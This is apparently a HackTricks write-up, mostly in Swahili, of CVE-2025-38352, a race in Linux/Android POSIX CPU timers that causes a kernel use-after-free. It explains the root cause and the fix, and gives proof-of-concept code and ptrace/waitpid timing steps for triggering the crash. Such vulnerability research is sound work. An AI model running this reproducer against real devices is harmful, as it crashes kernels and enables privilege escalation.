POSIX CPU Timers TOCTOU race (CVE-2025-38352)
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Kurasa hii inaonyesha hali ya mshindano wa TOCTOU katika Linux/Android POSIX CPU timers ambayo inaweza kuharibu hali ya timer na kusababisha kernel kuanguka, na katika mazingira fulani inaweza kuelekezwa kuelekea privilege escalation.
- Sehemu iliyohusika: kernel/time/posix-cpu-timers.c
- Kipengele msingi: mshindano wa expiry dhidi ya deletion wakati wa task exit
- Inategemea usanidi: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
Muhtasari mfupi wa mambo ya ndani (relevant for exploitation)
- Masaa matatu ya CPU yanayoendesha uhasibu wa timeri kupitia cpu_clock_sample():
- CPUCLOCK_PROF: utime + stime
- CPUCLOCK_VIRT: utime tu
- CPUCLOCK_SCHED: task_sched_runtime()
- Uundaji wa timer unaunganisha timer kwa task/pid na kuanzisha nodes za timerqueue:
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
rcu_read_lock();
pid = pid_for_clock(new_timer->it_clock, false);
if (!pid) { rcu_read_unlock(); return -EINVAL; }
new_timer->kclock = &clock_posix_cpu;
timerqueue_init(&new_timer->it.cpu.node);
new_timer->it.cpu.pid = get_pid(pid);
rcu_read_unlock();
return 0;
}
- Arming huingiza katika per-base timerqueue na inaweza kusasisha next-expiry cache:
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
struct cpu_timer *ctmr = &timer->it.cpu;
u64 newexp = cpu_timer_getexpires(ctmr);
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}
- Njia ya haraka inazuia usindikaji wa ghali isipokuwa vipindi vilivyohifadhiwa vya kumalizika vinaonyesha uwezekano wa kutokea:
static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
if (!expiry_cache_is_inactive(pct)) {
u64 samples[CPUCLOCK_MAX];
task_sample_cputime(tsk, samples);
if (task_cputimers_expired(samples, pct))
return true;
}
return false;
}
- Kuisha hukusanya timers zilizokwisha, huzitambulisha kuwa zinawaka (firing), huziondoa nje ya foleni; utoaji halisi unacheleweshwa:
#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
struct list_head *firing, u64 now) {
struct timerqueue_node *next; int i = 0;
while ((next = timerqueue_getnext(head))) {
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
u64 expires = cpu_timer_getexpires(ctmr);
if (++i == MAX_COLLECTED || now < expires) return expires;
ctmr->firing = 1; // critical state
rcu_assign_pointer(ctmr->handling, current);
cpu_timer_dequeue(ctmr);
list_add_tail(&ctmr->elist, firing);
}
return U64_MAX;
}
Njia mbili za kusindika kumalizika
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: kumalizika kunacheleweshwa kupitia task_work kwenye target task
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: kumalizika inashughulikiwa moja kwa moja katika muktadha wa IRQ
Task_work dhidi ya IRQ: njia za kumalizika
```c void run_posix_cpu_timers(void) { struct task_struct *tsk = current; __run_posix_cpu_timers(tsk); } #ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK static inline void __run_posix_cpu_timers(struct task_struct *tsk) { if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return; tsk->posix_cputimers_work.scheduled = true; task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME); } #else static inline void __run_posix_cpu_timers(struct task_struct *tsk) { lockdep_posixtimer_enter(); handle_posix_cpu_timers(tsk); // IRQ-context path lockdep_posixtimer_exit(); } #endif ```Katika njia ya IRQ-context, firing list inashughulikiwa nje ya sighand
IRQ-context mzunguko wa utoaji
```c static void handle_posix_cpu_timers(struct task_struct *tsk) { struct k_itimer *timer, *next; unsigned long flags, start; LIST_HEAD(firing); if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit do { start = READ_ONCE(jiffies); barrier(); check_thread_timers(tsk, &firing); check_process_timers(tsk, &firing); } while (!posix_cpu_timers_enable_work(tsk, start)); unlock_task_sighand(tsk, &flags); // race window opens here list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) { int cpu_firing; spin_lock(&timer->it_lock); list_del_init(&timer->it.cpu.elist); cpu_firing = timer->it.cpu.firing; // read then reset timer->it.cpu.firing = 0; if (likely(cpu_firing >= 0)) cpu_timer_fire(timer); rcu_assign_pointer(timer->it.cpu.handling, NULL); spin_unlock(&timer->it_lock); } } ```Root cause: TOCTOU kati ya kumalizika kwa muda kwa IRQ na uondoaji sambamba wakati wa kutokea kwa task Preconditions
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK imezimwa (IRQ path in use)
- Task lengwa inaexit lakini bado haijaondolewa kabisa
- Thread nyingine kwa wakati mmoja inaita posix_cpu_timer_del() kwa timer ile ile
Sequence
- update_process_times() husababisha run_posix_cpu_timers() katika muktadha wa IRQ kwa task inayotoka.
- collect_timerqueue() inaweka ctmr->firing = 1 na inahamisha timer kwenye orodha ya muda ya firing.
- handle_posix_cpu_timers() inaondoa sighand kupitia unlock_task_sighand() ili kutoa timers nje ya lock.
- Mara tu baada ya unlock, task inayotoka inaweza kuondolewa; thread mwenzake anatekeleza posix_cpu_timer_del().
- Katika dirisha hili, posix_cpu_timer_del() inaweza kushindwa kupata state kupitia cpu_timer_task_rcu()/lock_task_sighand() na hivyo kuruka kizuizi la kawaida la in-flight linalokagua timer->it.cpu.firing. Ufutaji unaendelea kana kwamba haukuwa inayofiring, ukiharibu state wakati kumalizika kunaendeshwa, na kusababisha crashes/UB.
How release_task() and timer_delete() free firing timers
Hata baada ya handle_posix_cpu_timers() kuchukua timer kutoka kwenye orodha ya task, ptraced zombie bado anaweza kuondolewa. Stack ya waitpid() inaendesha release_task() → __exit_signal(), ambayo inaondoa sighand na foleni za ishara wakati CPU nyingine bado inashikilia pointers kwa kitu cha timer:
static void __exit_signal(struct task_struct *tsk)
{
struct sighand_struct *sighand = lock_task_sighand(tsk, NULL);
// ... signal cleanup elided ...
tsk->sighand = NULL; // makes future lock_task_sighand() fail
unlock_task_sighand(tsk, NULL);
}
Wakati sighand imeondolewa, timer_delete() bado inarudisha mafanikio kwa sababu posix_cpu_timer_del() inaacha ret = 0 wakati locking inapotofaulu, hivyo syscall inaendelea kufuta kitu kupitia RCU:
static int posix_cpu_timer_del(struct k_itimer *timer)
{
struct sighand_struct *sighand = lock_task_sighand(p, &flags);
if (unlikely(!sighand))
goto out; // ret stays 0 -> userland sees success
// ... normal unlink path ...
}
SYSCALL_DEFINE1(timer_delete, timer_t, timer_id)
{
if (timer_delete_hook(timer) == TIMER_RETRY)
timer = timer_wait_running(timer, &flags);
posix_timer_unhash_and_free(timer); // call_rcu(k_itimer_rcu_free)
return 0;
}
Kwa sababu object ya slab imeachiliwa kwa RCU huku context ya IRQ bado ikitembea kwenye orodha ya firing, matumizi tena ya cache ya timer yanakuwa primitive ya UAF.
Kuongoza reaping kwa ptrace + waitpid
Njia rahisi ya kuweka zombie karibu bila kufutwa kiotomatiki ni ku-ptrace thread ya mfanyakazi isiyokuwa kiongozi wa kikundi. exit_notify() kwanza inaweka exit_state = EXIT_ZOMBIE na hubadilika tu kuwa EXIT_DEAD ikiwa autoreap ni true. Kwa threads zilizo ptraced, autoreap = do_notify_parent() inabaki false mradi tu SIGCHLD haikutengwa, hivyo release_task() inafanya kazi tu wakati parent inapoita waitpid() waziwazi:
- Tumia pthread_create() ndani ya tracee ili mwanaathiriwa asiwe kiongozi wa kikundi cha thread (wait_task_zombie() hushughulikia ptraced non-leaders).
- Parent hutuma
ptrace(PTRACE_ATTACH, tid)na baadaewaitpid(tid, __WALL)ili kuendesha do_wait_pid() → wait_task_zombie() → release_task(). - Pipes au shared memory hutoa TID sahihi kwa parent ili mfanyakazi sahihi afutwe kwa mahitaji.
Utaratibu huu unahakikisha dirisha ambapo handle_posix_cpu_timers() bado inaweza kurejea tsk->sighand, wakati waitpid() inayofuata inavyoifuta na kuruhusu timer_delete() kudai tena k_itimer ileile.
Kwa nini TASK_WORK mode ni salama kwa muundo
- Kwa CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, muda wa kumalizika huahirishwa hadi task_work; exit_task_work inafanya kazi kabla ya exit_notify, hivyo mgongano wa wakati wa IRQ na reaping hautokei.
- Hata hivyo, ikiwa task tayari inatoka (exiting), task_work_add() inashindwa; kuzingatia exit_state kunafanya mode zote zilingane.
Fix (Android common kernel) na mantiki
- Ongeza kurudi mapema ikiwa task ya sasa inatoka, ukizuia usindikaji wote:
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;
- Hii inazuia kuingia handle_posix_cpu_timers() kwa tasks zinazoondoka, ikiondoa dirisha ambapo posix_cpu_timer_del() ingeweza kupoteza it.cpu.firing na kukimbizana na usindikaji wa kumalizika.
Impact
- Uharibifu wa kumbukumbu ya kernel wa miundo ya timer wakati wa kumalizika/ufutaji unaofanyika sambamba unaweza kusababisha crashi za mara moja (DoS) na ni primitive kali kuelekea privilege escalation kutokana na fursa za udhibiti wa hali ya kernel kwa hiari.
Triggering the bug (safe, reproducible conditions) Build/config
- Hakikisha CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n na tumia kernel bila exit_state gating fix. Kwenye x86/arm64 chaguo hili kwa kawaida huwa limewalazimisha kuwa on kupitia HAVE_POSIX_CPU_TIMERS_TASK_WORK, hivyo watafiti mara nyingi hupatch
kernel/time/Kconfigili kuonyesha toggle la mkono:
config POSIX_CPU_TIMERS_TASK_WORK
bool "CVE-2025-38352: POSIX CPU timers task_work toggle" if EXPERT
depends on POSIX_TIMERS && HAVE_POSIX_CPU_TIMERS_TASK_WORK
default y
Hii inaakisi kile ambacho wauzaji wa Android walifanya kwa analysis builds; upstream x86_64 na arm64 zinawalazimisha HAVE_POSIX_CPU_TIMERS_TASK_WORK=y, hivyo njia dhaifu ya IRQ inapatikana hasa kwenye kernels za Android za 32-bit ambapo chaguo hilo hakijajumuishwa kwenye uundaji (compiled out).
- Run on a multi-core VM (e.g., QEMU
-smp cores=4) so parent, child main, and worker threads can stay pinned to dedicated CPUs.
Runtime strategy
- Target a thread that is about to exit and attach a CPU timer to it (per-thread or process-wide clock):
- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, …)
- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, …)
- Tayarisha kwa muda mfupi sana wa kuisha wa awali na kipindi kidogo ili kuongeza idadi ya kuingia kwenye njia ya IRQ:
static timer_t t;
static void setup_cpu_timer(void) {
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race
sev.sigev_signo = SIGUSR1;
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
struct itimerspec its = {0};
its.it_value.tv_nsec = 1; // fire ASAP
its.it_interval.tv_nsec = 1; // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}
- Kutoka kwa sibling thread, kufuta kwa wakati huo huo timer ile ile wakati target thread inapoondoka:
void *deleter(void *arg) {
for (;;) (void)timer_delete(t); // hammer delete in a loop
}
- Viongezaji vya race: high scheduler tick rate, CPU load, repeated thread exit/re-create cycles. Ajali kwa kawaida inaonekana wakati posix_cpu_timer_del() inaporuka kugundua kugonga kwa sababu ya kushindwa kutafuta/kufunga task mara tu baada ya unlock_task_sighand().
Uandaaji wa PoC wa vitendo
Uratibu wa Thread & IPC
Mfano thabiti wa kurudia (reproducer) hu-fork kuwa mzazi anayefanya ptracing na mtoto ambaye huanzisha worker thread iliyo hatarini. Mifereji miwili (c2p, p2c) husambaza TID ya worker na kufunga kila awamu, huku pthread_barrier_t ikimzuia worker kuweka timer yake hadi mzazi awe ameunganishwa. Kila mchakato au thread imewekwa (pinned) kwa sched_setaffinity() (mfano, mzazi kwenye CPU1, child main kwenye CPU0, worker kwenye CPU2) kupunguza kelele ya scheduler na kufanya race iweze kurudiwa.
Kurekebisha timer kwa CLOCK_THREAD_CPUTIME_ID
Worker huweka timer ya CPU ya kila thread ili matumizi yake mwenyewe ya CPU ndiyo yanayochochea tarehe ya mwisho. wait_time inayoweza kubadilishwa (default ≈250 µs za CPU time) pamoja na bounded busy loop zinahakikisha kwamba exit_notify() inaweka EXIT_ZOMBIE wakati timer iko karibu kupigwa:
Mfupa mdogo wa timer ya CPU kwa kila thread
```c static timer_t timer; static long wait_time = 250000; // nanoseconds of CPU timestatic void timer_fire(sigval_t unused) { puts(“timer fired”); }
static void *worker(void *arg) { struct sigevent sev = {0}; sev.sigev_notify = SIGEV_THREAD; sev.sigev_notify_function = timer_fire; timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &timer);
struct itimerspec ts = { .it_interval = {0, 0}, .it_value = {0, wait_time}, };
pthread_barrier_wait(&barrier); // released by child main after ptrace attach timer_settime(timer, 0, &ts, NULL);
for (volatile int i = 0; i < 1000000; i++); // burn CPU before exiting return NULL; // do_exit() keeps burning CPU }
</details>
#### Race timeline
1. Mtoto anamwambia mzazi TID ya mfanyakazi kupitia `c2p`, kisha anazuiliwa kwenye barrier.
2. Mzazi anafanya `PTRACE_ATTACH`, anasubiri katika `waitpid(__WALL)`, kisha `PTRACE_CONT` ili kumruhusu mfanyakazi kuendesha na kutoka.
3. Wakati heuristics (au maingizo ya mwendeshaji kwa mkono) zinapopendekeza kuwa timer ilikusanywa kwenye orodha ya `firing` upande wa IRQ, mzazi anafanya tena `waitpid(tid, __WALL)` ili kuanzisha release_task() na kuachia `tsk->sighand`.
4. Mzazi anamtumia ishara mtoto kupitia `p2c` ili child main aiite `timer_delete(timer)` na mara moja kuendesha msaidizi kama `wait_for_rcu()` hadi RCU callback ya timer ikamilike.
5. Muktadha wa IRQ hatimaye unaendelea `handle_posix_cpu_timers()` na kufanya dereference ya `struct k_itimer` iliyofunguliwa, ikisababisha KASAN au WARN_ON()s.
#### Optional kernel instrumentation
Kwa mipangilio ya utafiti, kuingiza `mdelay(500)` ya debug tu ndani ya handle_posix_cpu_timers() wakati `tsk->comm == "SLOWME"` kunapanua dirisha hivyo choreography hapo juu karibu kila mara hushinda race. PoC ile ile pia inaibadilisha majina ya threads (`prctl(PR_SET_NAME, ...)`) ili logs za kernel na breakpoints zihakikishe mfanyakazi aliyetarajiwa anachukuliwa.
### Instrumentation cues during exploitation
- Ongeza tracepoints/WARN_ONCE karibu na unlock_task_sighand()/posix_cpu_timer_del() ili kubaini kesi ambapo `it.cpu.firing==1` inapatana na kushindwa kwa cpu_timer_task_rcu()/lock_task_sighand(); fuatilia muafaka wa timerqueue wakati mwathiriwa anapotoka.
- KASAN kawaida hutoroka `slab-use-after-free` ndani ya posix_timer_queue_signal(), wakati kernels zisizo za KASAN zinaandika WARN_ON_ONCE() kutoka send_sigqueue() wakati race inapofika, ikitoa kiashiria cha mafanikio haraka.
Audit hotspots (for reviewers)
- update_process_times() → run_posix_cpu_timers() (IRQ)
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
- collect_timerqueue(): sets ctmr->firing and moves nodes
- handle_posix_cpu_timers(): drops sighand before firing loop
- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap
Notes for exploitation research
- Tabia iliyofichuliwa ni primitive thabiti ya kusababisha crash ya kernel; kuibadilisha kuwa escalation ya ruhusa kwa kawaida kunahitaji overlap inayoweza kudhibitiwa zaidi (muda wa maisha ya object au ushawishi wa write-what-where) ambayo iko nje ya wigo wa muhtasari huu. Tisia PoC yoyote kama inaweza kusababisha kutokuwa thabiti na endesha tu katika emulators/VMs.
## References
- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
- [CVE-2025-38352 – In-the-wild Android Kernel Vulnerability Analysis and PoC](https://faith2dxy.xyz/2025-12-22/cve_2025_38352_analysis/)
- [poc-CVE-2025-38352 (GitHub)](https://github.com/farazsth98/poc-CVE-2025-38352)
- [Linux stable fix commit f90fff1e152d](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=f90fff1e152dedf52b932240ebbd670d83330eca)
> [!TIP]
> Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Jifunze na fanya mazoezi ya Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Support HackTricks</summary>
>
> - Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
> - **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
>
> </details>


